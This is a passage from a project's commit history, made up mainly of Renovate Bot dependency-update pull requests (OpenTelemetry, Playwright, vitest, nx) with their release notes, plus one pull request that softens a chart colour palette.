| [@opentelemetry/instrumentation-user-interaction](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-user-interaction#readme) ([source](https://github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-user-interaction)) | dependencies | minor | [`^0.61.0` -> `^0.62.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-user-interaction/0.61.0/0.62.0) |

---

### Release Notes

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-document-load)</summary>

### [`v0.63.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-document-load/CHANGELOG.md#0630-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-express)</summary>

### [`v0.66.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-express/CHANGELOG.md#0660-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
    - [@&#8203;opentelemetry/contrib-test-utils](https://github.com/opentelemetry/contrib-test-utils) bumped from ^0.64.0 to ^0.65.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-ioredis)</summary>

### [`v0.66.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0660-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
    - [@&#8203;opentelemetry/contrib-test-utils](https://github.com/opentelemetry/contrib-test-utils) bumped from ^0.64.0 to ^0.65.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-nestjs-core)</summary>

### [`v0.64.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0640-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-pg)</summary>

### [`v0.70.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-pg/CHANGELOG.md#0700-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
    - [@&#8203;opentelemetry/contrib-test-utils](https://github.com/opentelemetry/contrib-test-utils) bumped from ^0.64.0 to ^0.65.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-pino)</summary>

### [`v0.64.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-pino/CHANGELOG.md#0640-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
    - [@&#8203;opentelemetry/contrib-test-utils](https://github.com/opentelemetry/contrib-test-utils) bumped from ^0.64.0 to ^0.65.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib (@&#8203;opentelemetry/instrumentation-user-interaction)</summary>

### [`v0.62.0`](https://github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-user-interaction/CHANGELOG.md#0620-2026-05-13)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js-contrib/compare/b68fb6dcc0649631ebecab7bde81879486f74f0b...15ef7506553f631ea4181391e0c5725a56f0d082)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*' ([#&#8203;3523](https://github.com/open-telemetry/opentelemetry-js-contrib/issues/3523)) ([e26a90a](https://github.com/open-telemetry/opentelemetry-js-contrib/commit/e26a90af6e2fb4666b22388b770add7a60140c9b))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/184
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-18 01:22:56 +02:00
APF Portal Bot ee59fd900c fix(deps): update opentelemetry-js monorepo (#183)
CI / scan (push) Successful in 1m32s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 1m53s
CI / perf (push) Successful in 4m57s
CI / check (push) Successful in 5m52s
Docs site / build (push) Successful in 2m14s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@opentelemetry/exporter-trace-otlp-http](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/exporter-trace-otlp-http) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-trace-otlp-http/0.217.0/0.218.0) |
| [@opentelemetry/exporter-trace-otlp-proto](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/exporter-trace-otlp-proto) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-trace-otlp-proto/0.217.0/0.218.0) |
| [@opentelemetry/instrumentation](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.217.0/0.218.0) |
| [@opentelemetry/instrumentation-fetch](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-fetch) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-fetch/0.217.0/0.218.0) |
| [@opentelemetry/instrumentation-http](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.217.0/0.218.0) |
| [@opentelemetry/sdk-node](https://github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`^0.217.0` -> `^0.218.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.217.0/0.218.0) |
| [@opentelemetry/semantic-conventions](https://github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://github.com/open-telemetry/opentelemetry-js)) | dependencies | minor | [`1.40.0` -> `1.41.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.40.0/1.41.1) |

---

### Release Notes

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-trace-otlp-http)</summary>

### [`v0.218.0`](https://github.com/open-telemetry/opentelemetry-js/compare/74cde1b674508ccc0ed2601ac43a80ff2d35114c...06ad0eaaecbd49f5ead871325f852cc2a3454079)

[Compare Source](https://github.com/open-telemetry/opentelemetry-js/compare/74cde1b674508ccc0ed2601ac43a80ff2d35114c...06ad0eaaecbd49f5ead871325f852cc2a3454079)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #183
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 23:47:04 +02:00
APF Portal Bot 868cbb6747 chore(deps): update dependency @playwright/test to v1.60.0 (#182)
CI / scan (push) Successful in 3m7s
CI / commits (push) Has been skipped
CI / check (push) Successful in 7m27s
CI / a11y (push) Successful in 2m0s
CI / perf (push) Successful in 5m29s
Docs site / build (push) Successful in 3m15s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@playwright/test](https://playwright.dev) ([source](https://github.com/microsoft/playwright)) | devDependencies | minor | [`1.59.1` -> `1.60.0`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.59.1/1.60.0) |

---

### Release Notes

<details>
<summary>microsoft/playwright (@&#8203;playwright/test)</summary>

### [`v1.60.0`](https://github.com/microsoft/playwright/releases/tag/v1.60.0)

[Compare Source](https://github.com/microsoft/playwright/compare/v1.59.1...v1.60.0)

#### 🌐 HAR recording on Tracing

[tracing.startHar()](https://playwright.dev/docs/api/class-tracing#tracing-start-har) / [tracing.stopHar()](https://playwright.dev/docs/api/class-tracing#tracing-stop-har) expose HAR recording as a first-class tracing API, with the same `content`, `mode` and `urlFilter` options as `recordHar`. The returned [Disposable](https://playwright.dev/docs/api/class-disposable) makes it easy to scope a recording with `await using`:

```js
await using har = await context.tracing.startHar('trace.har');
const page = await context.newPage();
await page.goto('https://playwright.dev');
// HAR is finalized when `har` goes out of scope.
```

#### 🪝 Drop API

New [locator.drop()](https://playwright.dev/docs/api/class-locator#locator-drop) simulates an external drag-and-drop of files or clipboard-like data onto an element. Playwright dispatches `dragenter`, `dragover`, and `drop` with a synthetic \[DataTransfer] in the page context — works cross-browser and is great for testing upload zones:

```js
await page.locator('#dropzone').drop({
  files: { name: 'note.txt', mimeType: 'text/plain', buffer: Buffer.from('hello') },
});

await page.locator('#dropzone').drop({
  data: {
    'text/plain': 'hello world',
    'text/uri-list': 'https://example.com',
  },
});
```

#### 🎯 Aria snapshots

- [expect(page).toMatchAriaSnapshot()](https://playwright.dev/docs/api/class-pageassertions#page-assertions-to-match-aria-snapshot) now works on a [Page](https://playwright.dev/docs/api/class-page), in addition to a [Locator](https://playwright.dev/docs/api/class-locator) — equivalent to asserting against `page.locator('body')`.
- New `boxes` option on [locator.ariaSnapshot()](https://playwright.dev/docs/api/class-locator#locator-aria-snapshot) / [page.ariaSnapshot()](https://playwright.dev/docs/api/class-page#page-aria-snapshot) appends each element's bounding box as `[box=x,y,width,height]`, useful for AI consumption.

#### 🛑 test.abort()

New [test.abort()](https://playwright.dev/docs/api/class-test#test-abort) aborts the currently running test from a fixture, hook, or route handler with an optional message. Use it when you have detected an unrecoverable misuse and want to fail the test right away:

```js
test('does not publish to the shared page', async ({ page }) => {
  await page.route('**/publish', route => {
    test.abort('Tests must not publish to the shared page. Use the `clone` option.');
    return route.abort();
  });
  // ...
});
```

#### New APIs

##### Browser, Context and Page

- Event [browser.on('context')](https://playwright.dev/docs/api/class-browser#browser-event-context) — fired when a new context is created on the browser.
- [BrowserContext](https://playwright.dev/docs/api/class-browsercontext) now mirrors lifecycle events from its pages: [browserContext.on('download')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-download), [browserContext.on('frameattached')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-frame-attached), [browserContext.on('framedetached')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-frame-detached), [browserContext.on('framenavigated')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-frame-navigated), [browserContext.on('pageclose')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-page-close), [browserContext.on('pageload')](https://playwright.dev/docs/api/class-browsercontext#browser-context-event-page-load).

##### Locators and Assertions

- New option `description` in [page.getByRole()](https://playwright.dev/docs/api/class-page#page-get-by-role) / [locator.getByRole()](https://playwright.dev/docs/api/class-locator#locator-get-by-role) / [frame.getByRole()](https://playwright.dev/docs/api/class-frame#frame-get-by-role) / [frameLocator.getByRole()](https://playwright.dev/docs/api/class-framelocator#frame-locator-get-by-role) for matching the [accessible description](https://www.w3.org/TR/wai-aria-1.2/#dfn-accessible-description).
- New option `pseudo` in [expect(locator).toHaveCSS()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-have-css) reads computed styles from `::before` or `::after`.
- New option `style` in [locator.highlight()](https://playwright.dev/docs/api/class-locator#locator-highlight) applies extra inline CSS to the highlight overlay, plus new [page.hideHighlight()](https://playwright.dev/docs/api/class-page#page-hide-highlight) to clear all highlights.

##### Network

- [webSocketRoute.protocols()](https://playwright.dev/docs/api/class-websocketroute#web-socket-route-protocols) returns the WebSocket subprotocols requested by the page.
- New option `noDefaults` in [browserType.connectOverCDP()](https://playwright.dev/docs/api/class-browsertype#browser-type-connect-over-cdp) disables Playwright's default overrides on the default context (download behavior, focus emulation, media emulation), so attaching to a user's daily-driver browser doesn't disturb its state.

##### Errors and Reporting

- New [webError.location()](https://playwright.dev/docs/api/class-weberror#web-error-location) mirrors [consoleMessage.location()](https://playwright.dev/docs/api/class-consolemessage#console-message-location).
- [consoleMessage.location()](https://playwright.dev/docs/api/class-consolemessage#console-message-location) now exposes `line` / `column` properties (`lineNumber` / `columnNumber` are deprecated).
- New [testInfoError.errorContext](https://playwright.dev/docs/api/class-testinfoerror#test-info-error-error-context) surfaces additional diagnostic context, such as the aria snapshot of the receiver at the time of an `expect(...)` matcher failure.
- [reporter.onError()](https://playwright.dev/docs/api/class-reporter#reporter-on-error) now receives a `workerInfo` argument with details about the worker for fixture teardown errors.

##### Test runner

- New `{testFileBaseName}` token in [testProject.snapshotPathTemplate](https://playwright.dev/docs/api/class-testproject#test-project-snapshot-path-template) — file name without extension.
- Test runner now errors when a config tries to override a non-option fixture, and rejects `workers: 0` or negative values.

#### 🛠️ Other improvements

- HTML reporter:
  - `npx playwright show-report` accepts `.zip` files directly — no need to unzip first.
  - Steps that contain attachments inside nested children show an indicator on the parent step.
  - The `repeatEachIndex` is shown in the test header when non-zero.
- Trace Viewer adds a pretty-print toggle for JSON / form request and response bodies in the network details panel.

#### Breaking Changes ⚠️

- Removed long-deprecated APIs:
  - `Locator.ariaRef()` — use the standard [locator.ariaSnapshot()](https://playwright.dev/docs/api/class-locator#locator-aria-snapshot) pipeline.
  - `handle` option on `BrowserContext.exposeBinding` and `Page.exposeBinding`.
  - `logger` option on `BrowserType.connect` and `BrowserType.connectOverCDP` — use [tracing](https://playwright.dev/docs/trace-viewer) instead.
  - Context options `videosPath` / `videoSize` — use `recordVideo` instead.

#### Browser Versions

- Chromium 148.0.7778.96
- Mozilla Firefox 150.0.2
- WebKit 26.4

This version was also tested against the following stable channels:

- Google Chrome 147
- Microsoft Edge 147

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #182
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 23:46:36 +02:00
APF Portal Bot e376ea1295 chore(deps): update dependency @oxc-project/runtime to ^0.131.0 (#181)
CI / scan (push) Successful in 3m7s
CI / commits (push) Has been skipped
CI / check (push) Successful in 6m30s
CI / a11y (push) Successful in 2m53s
CI / perf (push) Successful in 9m49s
Docs site / build (push) Successful in 5m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@oxc-project/runtime](https://oxc.rs) ([source](https://github.com/oxc-project/oxc/tree/HEAD/npm/runtime)) | devDependencies | minor | [`^0.129.0` -> `^0.131.0`](https://renovatebot.com/diffs/npm/@oxc-project%2fruntime/0.129.0/0.131.0) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #181
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 23:42:58 +02:00
julien f2360b9db3 chore(shared-charts): soften the curated palette (#185)
CI / commits (push) Has been skipped
CI / check (push) Successful in 4m50s
CI / scan (push) Successful in 5m22s
CI / a11y (push) Successful in 3m56s
CI / perf (push) Successful in 9m20s
## Summary

Tune the curated chart palette to a softer, lower-saturation set. The values shipped in #175 were pulled straight from Tailwind's `-600 / -700` ramp; on real audit-log data the donut's three slices and the bar-chart's blue read as too punchy when they share a tile, especially in dark mode. Same five intents, same a11y posture — just less visual fight.

## What lands

`libs/shared/charts/src/lib/_internal/palette.ts`:

| Constant                          | Before   | After    |
| --------------------------------- | -------- | -------- |
| `DEFAULT_BAR_FILL`                | `#1d4ed8` | `#4075e7` |
| `semanticStatusColors.info`       | `#2563eb` | `#4075e7` |
| `semanticStatusColors.success`    | `#16a34a` | `#46ac6b` |
| `semanticStatusColors.warning`    | `#ea580c` | `#f38043` |
| `semanticStatusColors.error`      | `#dc2626` | `#eb5252` |
| `semanticStatusColors.neutral`    | `#6b7280` | `#6b7280` (unchanged) |

`info` and `DEFAULT_BAR_FILL` collapse to the same hex — bars and "informational" donut slices are *meant* to read as the same semantic class (no special status), so unifying them at the constant level removes a future drift hazard.

Docstrings updated alongside — the previous comments name-checked Tailwind shades (`green-600`, `tailwind blue-700`) that no longer correspond to the values; the new comments describe the palette by intent (`muted green`, `muted orange`, ...) and call out that the softening is deliberate.

## Notes for the reviewer

- **A11y posture unchanged.** The lib's contract is "AA contrast on white surfaces, deuteranopia/protanopia distinguishability via lightness deltas, not just hue". All four chromatic entries clear the same bar: each lightness sits in a distinct band (≈ 67 % for warning, ≈ 60 % for success, ≈ 60 % for error, ≈ 56 % for info), so colour-blind viewers still distinguish them by brightness even if the hue collapses.
- **Why not derive these from `libs/shared/tokens/brand-tokens.css`?** Brand-primary is the dark teal `#12546c` and brand-accent is `#f7a919`. Neither reads correctly as "success" or "neutral chart fill"; the charts need a categorical palette tuned for *legibility on dense surfaces*, not for chrome and CTAs. Keeping the chart palette in its own lib stays consistent with ADR-0023's "lib owns the palette" stance.
- **Bar fill default + `info` semantic alias to the same value on purpose.** A bar with no per-bar encoding is semantically "informational quantity over time" — the same intent as a donut slice tagged `info`. Future consumer that wants to flag a single "info" bar inside a stacked chart will read the colour as consistent.
- **No code changes outside this file.** Consumers (`<lib-bar-chart>`, `<lib-donut-chart>`, the audit page) import these constants by name; the swap is purely a value change.

## Test plan

- [x] `pnpm nx test shared-charts` — 15 specs pass (the donut `colorMap` spec asserts the *consumer-provided* hexes, not the lib defaults, so the change is transparent there; the bar single-fill spec checks uniqueness, not the specific value).
- [x] `pnpm nx test portal-admin` — 62 specs pass.
- [x] `pnpm nx run-many -t test build lint -p shared-charts,portal-admin` — clean (same three pre-existing lint warnings unrelated to this PR).
- [ ] **Manual smoke** — `pnpm nx serve portal-admin`, sign in with `Portal.Admin`, navigate to `/admin/audit`, switch to Charts:
  - Daily-volume bars render in the new muted blue.
  - Outcome donut slices: green (success), red (failure), orange (denied) — softer than before, semantic mapping intact.
  - Dark-mode toggle — palette still legible against the dark surface.
  - Side-by-side comparison vs `main` — the new shades feel calmer, especially when multiple charts share the viewport.

## What's next

Nothing pending on the palette front. If a future chart needs a sixth intent (e.g. `pending` for in-flight states), add it here with a contrast / colour-blind check and update the typed `SemanticStatus` union in the same PR.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #185
2026-05-17 23:42:07 +02:00
APF Portal Bot 8a02ca86a2 fix(deps): update vitest to v4.1.6 (#180)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m37s
CI / check (push) Successful in 6m47s
CI / a11y (push) Successful in 4m12s
CI / perf (push) Successful in 6m36s
Docs site / build (push) Successful in 4m40s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@vitest/coverage-v8](https://vitest.dev/guide/coverage) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8)) | devDependencies | patch | [`4.1.5` -> `4.1.6`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-v8/4.1.5/4.1.6) |
| [@vitest/ui](https://vitest.dev/guide/ui) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | devDependencies | patch | [`4.1.5` -> `4.1.6`](https://renovatebot.com/diffs/npm/@vitest%2fui/4.1.5/4.1.6) |
| [vitest](https://vitest.dev) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | devDependencies | patch | [`4.1.5` -> `4.1.6`](https://renovatebot.com/diffs/npm/vitest/4.1.5/4.1.6) |
| [vitest](https://vitest.dev) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | dependencies | patch | [`4.1.5` -> `4.1.6`](https://renovatebot.com/diffs/npm/vitest/4.1.5/4.1.6) |

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/coverage-v8)</summary>

### [`v4.1.6`](https://github.com/vitest-dev/vitest/releases/tag/v4.1.6)

[Compare Source](https://github.com/vitest-dev/vitest/compare/v4.1.5...v4.1.6)

#####    🐞 Bug Fixes

- **browser**: Provide project reference in `ToMatchScreenshotResolvePath`  -  by [@&#8203;macarie](https://github.com/macarie) and [@&#8203;sheremet-va](https://github.com/sheremet-va) in https://github.com/vitest-dev/vitest/issues/10138 [<samp>(31882)</samp>](https://github.com/vitest-dev/vitest/commit/31882607c)
- Global `sequence.concurrent: true` with top-level `test(..., { concurrent: false })` + depreacte `sequential` test API and options  -  by [@&#8203;hi-ogawa](https://github.com/hi-ogawa), **Codex** and [@&#8203;sheremet-va](https://github.com/sheremet-va) in https://github.com/vitest-dev/vitest/issues/10196 [<samp>(2847d)</samp>](https://github.com/vitest-dev/vitest/commit/2847dfa2a)
- **browser**: Simplify orchestrator otel carrier  -  by [@&#8203;hi-ogawa](https://github.com/hi-ogawa) in https://github.com/vitest-dev/vitest/issues/10285 [<samp>(18af9)</samp>](https://github.com/vitest-dev/vitest/commit/18af98cee)

#####    🏎 Performance

- Stringify diff objects only once  -  by [@&#8203;sheremet-va](https://github.com/sheremet-va) in https://github.com/vitest-dev/vitest/issues/10276 [<samp>(9f7b1)</samp>](https://github.com/vitest-dev/vitest/commit/9f7b1528c)

#####     [View changes on GitHub](https://github.com/vitest-dev/vitest/compare/v4.1.5...v4.1.6)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/180
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-17 22:29:35 +02:00
APF Portal Bot bd94bb4ffe fix(deps): update nx to v22.7.2 (#179)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m26s
CI / check (push) Successful in 7m6s
CI / a11y (push) Successful in 2m46s
CI / perf (push) Successful in 9m15s
Docs site / build (push) Successful in 3m56s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@nx/devkit](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/devkit)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fdevkit/22.7.1/22.7.2) |
| [@nx/eslint-plugin](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/eslint-plugin)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2feslint-plugin/22.7.1/22.7.2) |
| [@nx/jest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/jest)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fjest/22.7.1/22.7.2) |
| [@nx/js](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/js)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fjs/22.7.1/22.7.2) |
| [@nx/node](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/node)) | devDependencies | patch | [`22.7.1` -> `22.7.2`](https://renovatebot.com/diffs/npm/@nx%2fnode/22.7.1/22.7.2) |
